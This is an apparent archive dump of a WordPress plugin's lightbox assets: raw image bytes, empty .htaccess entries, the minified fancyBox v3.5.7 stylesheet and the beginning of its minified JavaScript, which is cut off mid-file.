tЂӀ�	���	`Ú|���PP(���H-�؀i���ň`��4��l�����`P�$@�Q�؁��A	�& Z	D�sę�|K���!$��B�R�m�R @�{*OAZ�gMՈ�%�`�0�m�����F������B�õ�P&���,�n�f\Ko���%T@�<6��o2��
���-$�[BTA���5(T@o�r3�%4
���qp��!L�4�97�H?��˙��C�
L�u���6{�А���*dV���s!�=2�\	ls��  0�A����%Df�``CLMM !�		?,00����DBD���$"$���dbd������TRT���424���trt���
���LJL���,*,���ljl���\Z\���<:<���|z|���������DFD���$&$���dfd���TVT���464���tvt�����LNL���,.,���lnl���\^\���<><���|~|���������pH,�8:�P'�F"�N�,�&@OU���4�G@��s)�'�uC�F����qJ$tCIU$xE
|�7�r�?6Jbg�?�mCq������B(�= B�bC �T6w�������CrUX�C�9^`�taT�Z"�C2�!?�Uc��U^E /ӳ9&�?
l�>I�?/���? �儘8���g�`�b
�A��z1�ha�(H��P���ÆN\����ML�$']��٩�@����*F���_$�6�u�'�	:~�p �_/�!y��뭫Jp�8�jZ.k1qB���'i1deЕ�G^�Xp���Q���d����Y� WQ��$�H�g�0����P��p凉	2b/�-c����u�������^;vq��^�[�
��i�k����cv��&�0��w��@�Q�
��i�P@:�+Vl��?��Q��1��
�@C�ǖ)(�Kx\�d���������@��C�`
;d�;ࠉ�b�%@*��A���Ç))�aC+�#�,�PE��E1ȘV��@? ܠ�P�
�P}��A
-�� 0�B�W~��h��4���(� �
c\`&$�A��C@"AfPU(`����PB�-D<C4� �C�W"DD
L��$���c*��h�m�($6B� �	HIf
Z�@l�R�	��ʀ9�3�%�
,Xx{�g��*�`�	��b��jj$�Cȶ
�1+h�x�!�`C��:�"�	l'	᭩�,�	��F.a�YA	-d"��c�-��P�"�
.�D,z/��`��1�5S��@�2�Uq��0d-ȖB�,�1'���!�		>,00����DBD���$"$���dbd������TRT���424���trt���
���LJL���,*,���ljl���\Z\���<:<���|z|�������DFD���$&$���dfd���TVT���464���tvt���LNL���,.,���lnl���\^\���<><���|~|�����@�pH,A�G�r2:�Ш0��Ym�l�B1V�	��O�	wPI��p�c<5�HP�15DqatD.w${E"��r�B5�w5g�B5~lmC�V�>w$w����l��sC 5�x$z�B*l�
B���$$M�C�l^�B ��5 h+^D,�->ԗ���D .��611:7�B��	r*>��x8U�sg��b$\0C'( 8 ��04| [E���!��H�^�(�H@B	
p�X�C@&���u���t%�'Bނ	Fc�p���/�Y���u��҅)9Дa"�"?͠ʤ,k�20�����T-r�t��-	,��m��E[E�N�u���:�J���c/45B�X�C�/;5j �,�
�]�#]M@��c��@�,N\н���z2��Bq��7���_"��\�H���q�|�^����ԩ�L/���p@^�=r�v>�O�l�Q`?
�E�Sh�Q���Q3,�2`
0xl�K''��P@%|HA'䐃9l��.��a	0�HL#ݜh�
�<�	�c ��6��b2,X���$�-@��O 07Gy$\�B�?��C2��B�r�d B�$)'D�c@�AA����)X��2���
+���r
��@'�$��0��`@���m�pC�$���'�P�/�@��&�i���@\@���f �@�l��Y�A
\��	gz���¯%���
)�4TJ!��Q
�v��$�Y����� �'����>��袷6S���v�I
���'d���7[؟/�������ܰ�94C��� ��
�L�(�ڡ{fj�����±��B�8T�-��)��j�	*����i.�|Dڪ�u|
����{;pmgizmo/inc/lightbox/images/blank.gif000064400000000053152223213640013640 0ustar00GIF89a����!�,D;pmgizmo/inc/lightbox/images/fancybox_overlay.png000064400000001753152223213640016152 0ustar00�PNG


IHDR

�2ϽtEXtSoftwareAdobe ImageReadyq�e<fiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:B0C8483B9CE3E1118185EC97ECB4D81E" xmpMM:DocumentID="xmp.did:FDE98EBC032611E29899DC09CE2C174E" xmpMM:InstanceID="xmp.iid:FDE98EBB032611E29899DC09CE2C174E" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:B1C8483B9CE3E1118185EC97ECB4D81E" stRef:documentID="xmp.did:B0C8483B9CE3E1118185EC97ECB4D81E"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>�vIDATx�b���@`b �*��B�h���_�IEND�B`�pmgizmo/inc/lightbox/images/fancybox_sprite@2x.png000064400000014631152223213640016350 0ustar00�PNG


IHDRX0�L~<tEXtSoftwareAdobe ImageReadyq�e<;IDATx��]{�ՙ�UU��g���TF�E!�c5�F�b\v5���J��9A�1���Ĭ�U�zt5	k�Y��a|F@�JD@y8�`==��������[=�]�=�{������7_�=~���
���thСC�G�+`�`����un�:G�X���`@��F�0�&,��ɐ��r5ͷe̐�A��,��P��o6qۺ���]C#D7!�+	(&Y���-ҏ�eP��+v���0�0ˆ�����k��ѱf?,XD&�(��"�4h��
�V�!��
#�ˆҿa�B�{�g�0jQ���?�jߵe��߶#��ȡ�<
0��D۹f�ZE�²a�AQDCQD����<uҴHS�7���ޫ/�����"��ȡH��c�ެ��\�m�#��r�_4���M=U���|��gnyv�~�	�p�/� ke��b��Cq$?c�_�zJ��v!��W�~��Cyd�A�4��Y��q�(CM M.����Jo�9�Ɛ�ճ����ud�E����;p�#FP�Є��q}eܤ��wcV�;]϶�
���~f[/���A�CE��݋�O�naDEMH:�N�U4�����?�[���1g��K�ݸ�;��@���X+Y&�ic�#�$�ь��g]�%�P�(���Cp
渞��շ�ޅ>dh����nI4��h�]����7����+X��1��I��s��W7�Q������� �6cZ�u�_�����gk�#�X�N����93׾�5C��(N�X�W�n�c�y���*�����:��5؂��Q���~>mrjA�����k�GI��C���W�q���a>���؂�q2��~��'V)��K�/����hE+Z_=v�x�ۘ���x� ,0|ʄ�K��z�s��ɾ]p1�G3�h���)��3|����Q�G��61DR�T�� �:�[�ܡ�#F>�XDLc7��;����P�Ԧ����آ����"�q&�8�pr��֤xѽ��K���7g��!Jy��=K�;�8�q�����g	V���vM��J��C�>|8D�[	4!1�p�4z��i��y�Aa�u/�"a7(�M �8���,�[���!�
��N'�yZX�$(Je�#���,�pb3�`^I���k�0c�|�b�7�\��$��)B�`(�pq�.�*�`K������#Url�\�[���O�
��:�)�B9?����E�6u���*Y���=�fױ9Ϊ�ǯ������_>,��("G
;�9���Nۀ��*�9�Yy]�@i���N��#�P���5�0"�}߬�q�)��� �\pV~��C���6���y��C�7U�T�=7��U�.�������S�`Pq�ci֡!DI}�=���mU?p�+����]��,���>�{�&�}=�	]���K�h倲��7�@�Q�n�J|2r(9��hM�t��������gl'���$י5o�P�h���j�.7�p����J���E'k�>��1��㖚�jK�]�0��Ǥa5���܌%K�WؖRe��a���T^��ٮyW����Yp��[I�lo�"�`?g��y|`[ɪ&=����H�&g�N�Px@�e��l�xrbՏs���>��6�b$'�x���N�%A]iI9-{C��U�>�\nμ��5cܬ�!ʍ��ԚN*WY^U ]�4L̕��'��x=�k@�m�l	�*�0]��6Rm�G}M�\Քͪ-���I��cnH�\a��5W��s��u�7[^�W�I�*��1�a����m\�V��R��E1Ɗ�9շ�}�;�E�w�jOm�x��i���9E
_g�J~9��{�;���8��5Q@��>,ݵ;=��`��e��q��Q�h
Wa�����E|��>�g�5ė\y���Q\���;/��Q6o���V/��9���JjҘ�H�p	i�"�NU���2\���I~��j�˫�p�G^��l�����fy��h0�8J�����q�Y���%
(���t�ݽ^.ѷ`dឯ�=��_�����[^��Aa��I�vYݴ?3V��'`�
�{
p����z:�Fu�L�+�3O�ɺ}N'����TWzY�8w*A���#C�Qǃ}��\
.�8������'&�G�0�e�pg�.���k�E�p�yn1z��:g1&$@���Et����xy]���!����_�`��HS����ja��*:[�؜ٓ=w�h{��،�u��&��<��1���{�Bid���v�N'Tf�:t��Ҧy��#\�V���F2?qUٺ:���7�
\_mCI��/A=�Vuw�f��5y~=�{�#p#nwM�۶\��;;�Bzч,õ�]t�|U$�"��Λ=�w�圱	�q	F�U�:�3q��)�g_Ys�c�;Ѓ�^gѨ�9.`Ըu���h�[3�h�<���+=}7V�e�����q��Y�>�4��o-C7zЃz�M�P��q�@N�	-ڡ �Éۦ}�-Z�:��S�v��7ϬGR�A���,q�|7ȍK��SK�Y�-녎���G���H�,;�yz��_���b[gu+��Yj,�����$D��g�i_�>::�������^���߿cv�)�Ⱥ��P�x�w	�<�`���I��&�GQD��/�G�:\���6�qß>@��F/zi"����U%��3��9%4QK,�(b�
4.��1�ZG&�)E��������]�~�^d�A}H�O2�"G{�p���$d� Ǹ��;�ni4c�##�'Wt0�щ�3�Q0�@� K�ƺ�&݊F�h�9���K��k��MNg�� Kįr4��(ƽ���q����(r�CQfb
J�FE6�Y+R��,�^E��k]���Y�&�A�`P�AYD�E��F���Eً���hN��]����C��t%	)� h:���ly�$�y��n�j�XՖM�yĂ�l(�5^`��,,m*�OI�����܋�ZV��
j*�l6E[·Uo�-�9t��8`pcG��

E�(09�W��~�nK�J���9\!�.Tw��HӛH�m�����Ts)�D�
���3/K�k�M�YXsA�9�3Ԏ��.�)���&�Z�?�@e'��A��%
��%dX�#�bS�	�ܣ��n`���b��y��a@�7�9���׻h]���XD�
0`BwK��.]2��$B�-�f�2}����\E�}[��l��+KwҢ�C�
�9���Xdik��I_�P�A�ɭם2�S�O�$��i��w�<���K�9�̻ʪ���B�q��8b�~���N��9D����n[���*v�_P��: k�
	��'.�?O�t�ȧ�_|��iQ`D�q��(7�����������&Wz�-؃b��>r��t����&ph��úxU�!Zcq4]0�G7�8�\=�9��H����|L?�jK���FJ@����^9ě��}��iJ�r��y�]�ѩ��M>t��oR/���!�7_����F��2�7k�KH���	�'�\r��@9D˰�f�~{G^���X�
�\��MH�����r�X���V���)锭����哈S2��׾�s$�89D��c�לT㪊\�/`������1�/��Zc�ͭ��Ի��T�!� �7!��a<�6^1~:������gc�d��Nf�y��$��@�!��|�0� ��K�����XDG�I#|/�؁�CD�m�g�咊��I)�n��B���N1{��	H�	q�!������"m�M�P:�r]���HP�1Z�S�m"�"���pB�}-�\^�a��3�7	$�jp����BA�$f�"��>���/���Uaמ�8��1`p���!����Ł�5���/��yB�r��'R�9Fi�O�T*�/�-�^ዊ[
��u�'����Mt\����m�Ty��z	\`��K9�ٓ�8"Y���M!<s�P"CV�C��|O	�i_rH9���T{�|8ዏ�`�n���8O���������`
�I�]_��C4�'�p�\�N4�c�U�����2p�)�8q$wJD���"Uv#��6/9�p�L���
�%�HraQ�C��
�Ü�{�!�D��ꅖ�J&Ჭ���X����K�J��W��;|��K?=����^A�.~y;��r�%��\�*��Mw�ԧ����l�=��)+q�!K9DG��R�l	�)�x��K�]%��d��L�a���f�`B�D��V`^�\���,�k�(�߼Y�y�&����ĭ���>!K9Dovko�=�<-Lm�����ro��b�GԪ)�����
�_��#W�C�B�J	�Gp��YR����j/ڇ�i�/���Oo,��{�u\r�v�� �)>�'�MU�
�m+�!�!{�R����=��/(�����P^x|C�^q�:�׼
�eG�ܐr����RTv����&��y�_yM����V���n�x��C��ޥFX�u>�^&�8r�ˊ<*k�C��]8w!��R����+��̧���#��s�K�«MQ�|��CX��oQ�1Dz_�\��[�n��,Iq��!��a�^!�@�շ�!3�
ޫ+�r�����3��eY����<��a����$sǫ�x�;0r�{Wu��`N�z�R�X<K�A��y7Gn�0�4��C��s����Yf�ā��-t�`t��{Ϟ.vk�b�ˊ�3�0>GTۏ���ƢB�Z�2�fMk�bW��%���G,y�ei��V4؜���}��O���r���eK�t�.��K>\��P�/�\���V��{gL�[�
T񷎋�nۋ^t#�n�?zn�;�i�2!�W;�}4sJ�/��!��+:;ы��tV$Nf
���:��f��C�2mܣs'���"�(Zߺ{-���t�	"����ME7�Rr4�-���y��H���K����ז}�>��ܠ.9��%Y$r�*�i���?�7�e���oQM��=��6u(��Bs�ݢ��tr�([�폭��S��yl������s�U/,�j�Iw$Ei���!O[����Fh�8G�D��a-_8��cN��V-�v���m+v9��H�&�\ߊ�Ns̀�L,7�r�qE8J���^9y��#��h������ݛ:��n���D�6C�:���j�vcQ�FDhS7����-+�)tQS�gH!i`Y�Y�P����
ڮ(��(u�G��!���E�H���%�ȱ:&GI��o{��m�p:�\�2����Q����^F�Q`֥$2:`���.rnb����B�e}9�a:������!�E
W����
���@�j*U<l�m���Jo�T�a��e�rӵSGuꢭ�C��0�}�5�C�26W ��.���8C�^DH��N�xɡ���#�)�P�:f����q]a˟�dJI�6ÔT�	#���҆�h�|(�xH!C
J=G����(��`��)U�P��JJ�_�"�h���`
�~Ma��V��\rb�c� Z�1H��q<�9_�`(�i֦KM�!L�B1`����u�/���:��7���p��t��:�@ǁ@��8Jʭ��CT�G��(;G��(;G=:�O�4���� �8��I<���ɪ�
������w�k'b�1h:�q8���y�t�X�<�yu�`�?�A�q�R�B$G��E�Q��> Dǡף�y4��W=` :�Gu�1�'V=�S��	�&�7dx|1�Ǭ�(7֕�PG �����?��^Lp=��*m�c�q��;�$%��G͂���G�Q�K���A�qT��|��A�qT��]'���� �8n���8�iu�4Ǟ���~?h:S	��M^�D�}���w�u�]�U܃B�aְ*:�@�!s�@��8�tP��@�!G��tG���8�q:�
���q%:Y���/^8tn���qH������u�lx�����c��"�/�j��CC-���&�#C!C��<+�!����&���Q+���Y�f�h$��1Ob��"ǭ�7��lI<rBUo}���+~p��unKX��p(��Єe����u�?g�q��|�9�ѓ�;�wj���p8���p8���p8���p8���p8���p8���?��z�_R08�5]�8�P��a����-wP���!����l�;����������׊�\��p}�YIEND�B`�pmgizmo/inc/lightbox/images/.htaccess000064400000000000152223213640013650 0ustar00pmgizmo/inc/lightbox/.htaccess000064400000000000152223213640012403 0ustar00pmgizmo/inc/lightbox/css/jquery.fancybox.min.css000064400000030773152223213640016044 0ustar00body.compensate-for-scrollbar{overflow:hidden}.fancybox-active{height:auto}.fancybox-is-hidden{left:-9999px;margin:0;position:absolute!important;top:-9999px;visibility:hidden}.fancybox-container{-webkit-backface-visibility:hidden;height:100%;left:0;outline:none;position:fixed;-webkit-tap-highlight-color:transparent;top:0;-ms-touch-action:manipulation;touch-action:manipulation;transform:translateZ(0);width:100%;z-index:99992}.fancybox-container *{box-sizing:border-box}.fancybox-bg,.fancybox-inner,.fancybox-outer,.fancybox-stage{bottom:0;left:0;position:absolute;right:0;top:0}.fancybox-outer{-webkit-overflow-scrolling:touch;overflow-y:auto}.fancybox-bg{background:#1e1e1e;opacity:0;transition-duration:inherit;transition-property:opacity;transition-timing-function:cubic-bezier(.47,0,.74,.71)}.fancybox-is-open .fancybox-bg{opacity:.9;transition-timing-function:cubic-bezier(.22,.61,.36,1)}.fancybox-caption,.fancybox-infobar,.fancybox-navigation .fancybox-button,.fancybox-toolbar{direction:ltr;opacity:0;position:absolute;transition:opacity .25s ease,visibility 0s ease .25s;visibility:hidden;z-index:99997}.fancybox-show-caption .fancybox-caption,.fancybox-show-infobar .fancybox-infobar,.fancybox-show-nav .fancybox-navigation .fancybox-button,.fancybox-show-toolbar .fancybox-toolbar{opacity:1;transition:opacity .25s ease 0s,visibility 0s ease 0s;visibility:visible}.fancybox-infobar{color:#ccc;font-size:13px;-webkit-font-smoothing:subpixel-antialiased;height:44px;left:0;line-height:44px;min-width:44px;mix-blend-mode:difference;padding:0 10px;pointer-events:none;top:0;-webkit-touch-callout:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.fancybox-toolbar{right:0;top:0}.fancybox-stage{direction:ltr;overflow:visible;transform:translateZ(0);z-index:99994}.fancybox-is-open .fancybox-stage{overflow:hidden}.fancybox-slide{-webkit-backface-visibility:hidden;display:none;height:100%;left:0;outline:none;overflow:auto;-webkit-overflow-scrolling:touch;padding:44px;position:absolute;text-align:center;top:0;transition-property:transform,opacity;white-space:normal;width:100%;z-index:99994}.fancybox-slide:before{content:"";display:inline-block;font-size:0;height:100%;vertical-align:middle;width:0}.fancybox-is-sliding .fancybox-slide,.fancybox-slide--current,.fancybox-slide--next,.fancybox-slide--previous{display:block}.fancybox-slide--image{overflow:hidden;padding:44px 0}.fancybox-slide--image:before{display:none}.fancybox-slide--html{padding:6px}.fancybox-content{background:#fff;display:inline-block;margin:0;max-width:100%;overflow:auto;-webkit-overflow-scrolling:touch;padding:44px;position:relative;text-align:left;vertical-align:middle}.fancybox-slide--image .fancybox-content{animation-timing-function:cubic-bezier(.5,0,.14,1);-webkit-backface-visibility:hidden;background:transparent;background-repeat:no-repeat;background-size:100% 100%;left:0;max-width:none;overflow:visible;padding:0;position:absolute;top:0;transform-origin:top left;transition-property:transform,opacity;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;z-index:99995}.fancybox-can-zoomOut .fancybox-content{cursor:zoom-out}.fancybox-can-zoomIn .fancybox-content{cursor:zoom-in}.fancybox-can-pan .fancybox-content,.fancybox-can-swipe .fancybox-content{cursor:grab}.fancybox-is-grabbing .fancybox-content{cursor:grabbing}.fancybox-container [data-selectable=true]{cursor:text}.fancybox-image,.fancybox-spaceball{background:transparent;border:0;height:100%;left:0;margin:0;max-height:none;max-width:none;padding:0;position:absolute;top:0;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;width:100%}.fancybox-spaceball{z-index:1}.fancybox-slide--iframe .fancybox-content,.fancybox-slide--map .fancybox-content,.fancybox-slide--pdf .fancybox-content,.fancybox-slide--video .fancybox-content{height:100%;overflow:visible;padding:0;width:100%}.fancybox-slide--video .fancybox-content{background:#000}.fancybox-slide--map .fancybox-content{background:#e5e3df}.fancybox-slide--iframe .fancybox-content{background:#fff}.fancybox-iframe,.fancybox-video{background:transparent;border:0;display:block;height:100%;margin:0;overflow:hidden;padding:0;width:100%}.fancybox-iframe{left:0;position:absolute;top:0}.fancybox-error{background:#fff;cursor:default;max-width:400px;padding:40px;width:100%}.fancybox-error p{color:#444;font-size:16px;line-height:20px;margin:0;padding:0}.fancybox-button{background:rgba(30,30,30,.6);border:0;border-radius:0;box-shadow:none;cursor:pointer;display:inline-block;height:44px;margin:0;padding:10px;position:relative;transition:color .2s;vertical-align:top;visibility:inherit;width:44px}.fancybox-button,.fancybox-button:link,.fancybox-button:visited{color:#ccc}.fancybox-button:hover{color:#fff}.fancybox-button:focus{outline:none}.fancybox-button.fancybox-focus{outline:1px dotted}.fancybox-button[disabled],.fancybox-button[disabled]:hover{color:#888;cursor:default;outline:none}.fancybox-button div{height:100%}.fancybox-button svg{display:block;height:100%;overflow:visible;position:relative;width:100%}.fancybox-button svg path{fill:currentColor;stroke-width:0}.fancybox-button--fsenter svg:nth-child(2),.fancybox-button--fsexit svg:first-child,.fancybox-button--pause svg:first-child,.fancybox-button--play svg:nth-child(2){display:none}.fancybox-progress{background:#ff5268;height:2px;left:0;position:absolute;right:0;top:0;transform:scaleX(0);transform-origin:0;transition-property:transform;transition-timing-function:linear;z-index:99998}.fancybox-close-small{background:transparent;border:0;border-radius:0;color:#ccc;cursor:pointer;opacity:.8;padding:8px;position:absolute;right:-12px;top:-44px;z-index:401}.fancybox-close-small:hover{color:#fff;opacity:1}.fancybox-slide--html .fancybox-close-small{color:currentColor;padding:10px;right:0;top:0}.fancybox-slide--image.fancybox-is-scaling .fancybox-content{overflow:hidden}.fancybox-is-scaling .fancybox-close-small,.fancybox-is-zoomable.fancybox-can-pan .fancybox-close-small{display:none}.fancybox-navigation .fancybox-button{background-clip:content-box;height:100px;opacity:0;position:absolute;top:calc(50% - 50px);width:70px}.fancybox-navigation .fancybox-button div{padding:7px}.fancybox-navigation .fancybox-button--arrow_left{left:0;left:env(safe-area-inset-left);padding:31px 26px 31px 6px}.fancybox-navigation .fancybox-button--arrow_right{padding:31px 6px 31px 26px;right:0;right:env(safe-area-inset-right)}.fancybox-caption{background:linear-gradient(0deg,rgba(0,0,0,.85) 0,rgba(0,0,0,.3) 50%,rgba(0,0,0,.15) 65%,rgba(0,0,0,.075) 75.5%,rgba(0,0,0,.037) 82.85%,rgba(0,0,0,.019) 88%,transparent);bottom:0;color:#eee;font-size:14px;font-weight:400;left:0;line-height:1.5;padding:75px 44px 25px;pointer-events:none;right:0;text-align:center;z-index:99996}@supports (padding:max(0px)){.fancybox-caption{padding:75px max(44px,env(safe-area-inset-right)) max(25px,env(safe-area-inset-bottom)) max(44px,env(safe-area-inset-left))}}.fancybox-caption--separate{margin-top:-50px}.fancybox-caption__body{max-height:50vh;overflow:auto;pointer-events:all}.fancybox-caption a,.fancybox-caption a:link,.fancybox-caption a:visited{color:#ccc;text-decoration:none}.fancybox-caption a:hover{color:#fff;text-decoration:underline}.fancybox-loading{animation:a 1s linear infinite;background:transparent;border:4px solid #888;border-bottom-color:#fff;border-radius:50%;height:50px;left:50%;margin:-25px 0 0 -25px;opacity:.7;padding:0;position:absolute;top:50%;width:50px;z-index:99999}@keyframes a{to{transform:rotate(1turn)}}.fancybox-animated{transition-timing-function:cubic-bezier(0,0,.25,1)}.fancybox-fx-slide.fancybox-slide--previous{opacity:0;transform:translate3d(-100%,0,0)}.fancybox-fx-slide.fancybox-slide--next{opacity:0;transform:translate3d(100%,0,0)}.fancybox-fx-slide.fancybox-slide--current{opacity:1;transform:translateZ(0)}.fancybox-fx-fade.fancybox-slide--next,.fancybox-fx-fade.fancybox-slide--previous{opacity:0;transition-timing-function:cubic-bezier(.19,1,.22,1)}.fancybox-fx-fade.fancybox-slide--current{opacity:1}.fancybox-fx-zoom-in-out.fancybox-slide--previous{opacity:0;transform:scale3d(1.5,1.5,1.5)}.fancybox-fx-zoom-in-out.fancybox-slide--next{opacity:0;transform:scale3d(.5,.5,.5)}.fancybox-fx-zoom-in-out.fancybox-slide--current{opacity:1;transform:scaleX(1)}.fancybox-fx-rotate.fancybox-slide--previous{opacity:0;transform:rotate(-1turn)}.fancybox-fx-rotate.fancybox-slide--next{opacity:0;transform:rotate(1turn)}.fancybox-fx-rotate.fancybox-slide--current{opacity:1;transform:rotate(0deg)}.fancybox-fx-circular.fancybox-slide--previous{opacity:0;transform:scale3d(0,0,0) translate3d(-100%,0,0)}.fancybox-fx-circular.fancybox-slide--next{opacity:0;transform:scale3d(0,0,0) translate3d(100%,0,0)}.fancybox-fx-circular.fancybox-slide--current{opacity:1;transform:scaleX(1) translateZ(0)}.fancybox-fx-tube.fancybox-slide--previous{transform:translate3d(-100%,0,0) scale(.1) skew(-10deg)}.fancybox-fx-tube.fancybox-slide--next{transform:translate3d(100%,0,0) scale(.1) skew(10deg)}.fancybox-fx-tube.fancybox-slide--current{transform:translateZ(0) scale(1)}@media (max-height:576px){.fancybox-slide{padding-left:6px;padding-right:6px}.fancybox-slide--image{padding:6px 0}.fancybox-close-small{right:-6px}.fancybox-slide--image .fancybox-close-small{background:#4e4e4e;color:#f2f4f6;height:36px;opacity:1;padding:6px;right:0;top:0;width:36px}.fancybox-caption{padding-left:12px;padding-right:12px}@supports (padding:max(0px)){.fancybox-caption{padding-left:max(12px,env(safe-area-inset-left));padding-right:max(12px,env(safe-area-inset-right))}}}.fancybox-share{background:#f4f4f4;border-radius:3px;max-width:90%;padding:30px;text-align:center}.fancybox-share h1{color:#222;font-size:35px;font-weight:700;margin:0 0 20px}.fancybox-share p{margin:0;padding:0}.fancybox-share__button{border:0;border-radius:3px;display:inline-block;font-size:14px;font-weight:700;line-height:40px;margin:0 5px 10px;min-width:130px;padding:0 15px;text-decoration:none;transition:all .2s;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;white-space:nowrap}.fancybox-share__button:link,.fancybox-share__button:visited{color:#fff}.fancybox-share__button:hover{text-decoration:none}.fancybox-share__button--fb{background:#3b5998}.fancybox-share__button--fb:hover{background:#344e86}.fancybox-share__button--pt{background:#bd081d}.fancybox-share__button--pt:hover{background:#aa0719}.fancybox-share__button--tw{background:#1da1f2}.fancybox-share__button--tw:hover{background:#0d95e8}.fancybox-share__button svg{height:25px;margin-right:7px;position:relative;top:-1px;vertical-align:middle;width:25px}.fancybox-share__button svg path{fill:#fff}.fancybox-share__input{background:transparent;border:0;border-bottom:1px solid #d7d7d7;border-radius:0;color:#5d5b5b;font-size:14px;margin:10px 0 0;outline:none;padding:10px 15px;width:100%}.fancybox-thumbs{background:#ddd;bottom:0;display:none;margin:0;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar;padding:2px 2px 4px;position:absolute;right:0;-webkit-tap-highlight-color:rgba(0,0,0,0);top:0;width:212px;z-index:99995}.fancybox-thumbs-x{overflow-x:auto;overflow-y:hidden}.fancybox-show-thumbs .fancybox-thumbs{display:block}.fancybox-show-thumbs .fancybox-inner{right:212px}.fancybox-thumbs__list{font-size:0;height:100%;list-style:none;margin:0;overflow-x:hidden;overflow-y:auto;padding:0;position:absolute;position:relative;white-space:nowrap;width:100%}.fancybox-thumbs-x .fancybox-thumbs__list{overflow:hidden}.fancybox-thumbs-y .fancybox-thumbs__list::-webkit-scrollbar{width:7px}.fancybox-thumbs-y .fancybox-thumbs__list::-webkit-scrollbar-track{background:#fff;border-radius:10px;box-shadow:inset 0 0 6px rgba(0,0,0,.3)}.fancybox-thumbs-y .fancybox-thumbs__list::-webkit-scrollbar-thumb{background:#2a2a2a;border-radius:10px}.fancybox-thumbs__list a{-webkit-backface-visibility:hidden;backface-visibility:hidden;background-color:rgba(0,0,0,.1);background-position:50%;background-repeat:no-repeat;background-size:cover;cursor:pointer;float:left;height:75px;margin:2px;max-height:calc(100% - 8px);max-width:calc(50% - 4px);outline:none;overflow:hidden;padding:0;position:relative;-webkit-tap-highlight-color:transparent;width:100px}.fancybox-thumbs__list a:before{border:6px solid #ff5268;bottom:0;content:"";left:0;opacity:0;position:absolute;right:0;top:0;transition:all .2s cubic-bezier(.25,.46,.45,.94);z-index:99991}.fancybox-thumbs__list a:focus:before{opacity:.5}.fancybox-thumbs__list a.fancybox-thumbs-active:before{opacity:1}@media (max-width:576px){.fancybox-thumbs{width:110px}.fancybox-show-thumbs .fancybox-inner{right:110px}.fancybox-thumbs__list a{max-width:calc(100% - 10px)}}pmgizmo/inc/lightbox/css/.htaccess000064400000000000152223213640013173 0ustar00pmgizmo/inc/lightbox/js/jquery.fancybox.min.js000064400000205235152223213640015511 0ustar00// ==================================================
// fancyBox v3.5.7
//
// Licensed GPLv3 for open source use
// or fancyBox Commercial License for commercial use
//
// http://fancyapps.com/fancybox/
// Copyright 2019 fancyApps
//
// ==================================================
!function(t,e,n,o){"use strict";function i(t,e){var o,i,a,s=[],r=0;t&&t.isDefaultPrevented()||(t.preventDefault(),e=e||{},t&&t.data&&(e=h(t.data.options,e)),o=e.$target||n(t.currentTarget).trigger("blur"),(a=n.fancybox.getInstance())&&a.$trigger&&a.$trigger.is(o)||(e.selector?s=n(e.selector):(i=o.attr("data-fancybox")||"",i?(s=t.data?t.data.items:[],s=s.length?s.filter('[data-fancybox="'+i+'"]'):n('[data-fancybox="'+i+'"]')):s=[o]),r=n(s).index(o),r<0&&(r=0),a=n.fancybox.open(s,e,r),a.$trigger=o))}if(t.console=t.console||{info:function(t){}},n){if(n.fn.fancybox)return void console.info("fancyBox already initialized");var a={closeExisting:!1,loop:!1,gutter:50,keyboard:!0,preventCaptionOverlap:!0,arrows:!0,infobar:!0,smallBtn:"auto",toolbar:"auto",buttons:["zoom","slideShow","thumbs","close"],idleTime:3,protect:!1,modal:!1,image:{preload:!1},ajax:{settings:{data:{fancybox:!0}}},iframe:{tpl:'<iframe id="fancybox-frame{rnd}" name="fancybox-frame{rnd}" class="fancybox-iframe" allowfullscreen="allowfullscreen" allow="autoplay; fullscreen" src=""></iframe>',preload:!0,css:{},attr:{scrolling:"auto"}},video:{tpl:'<video class="fancybox-video" controls controlsList="nodownload" poster="{{poster}}"><source src="{{src}}" type="{{format}}" />Sorry, your browser doesn\'t support embedded videos, <a href="{{src}}">download</a> and watch with your favorite video player!</video>',format:"",autoStart:!0},defaultType:"image",animationEffect:"zoom",animationDuration:366,zoomOpacity:"auto",transitionEffect:"fade",transitionDuration:366,slideClass:"",baseClass:"",baseTpl:'<div class="fancybox-container" role="dialog" tabindex="-1"><div class="fancybox-bg"></div><div class="fancybox-inner"><div class="fancybox-infobar"><span data-fancybox-index></span>&nbsp;/&nbsp;<span data-fancybox-count></span></div><div class="fancybox-toolbar">{{buttons}}</div><div class="fancybox-navigation">{{arrows}}</div><div class="fancybox-stage"></div><div class="fancybox-caption"><div class="fancybox-caption__body"></div></div></div></div>',spinnerTpl:'<div class="fancybox-loading"></div>',errorTpl:'<div class="fancybox-error"><p>{{ERROR}}</p></div>',btnTpl:{download:'<a download data-fancybox-download class="fancybox-button fancybox-button--download" title="{{DOWNLOAD}}" href="javascript:;"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M18.62 17.09V19H5.38v-1.91zm-2.97-6.96L17 11.45l-5 4.87-5-4.87 1.36-1.32 2.68 2.64V5h1.92v7.77z"/></svg></a>',zoom:'<button data-fancybox-zoom class="fancybox-button fancybox-button--zoom" title="{{ZOOM}}"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M18.7 17.3l-3-3a5.9 5.9 0 0 0-.6-7.6 5.9 5.9 0 0 0-8.4 0 5.9 5.9 0 0 0 0 8.4 5.9 5.9 0 0 0 7.7.7l3 3a1 1 0 0 0 1.3 0c.4-.5.4-1 0-1.5zM8.1 13.8a4 4 0 0 1 0-5.7 4 4 0 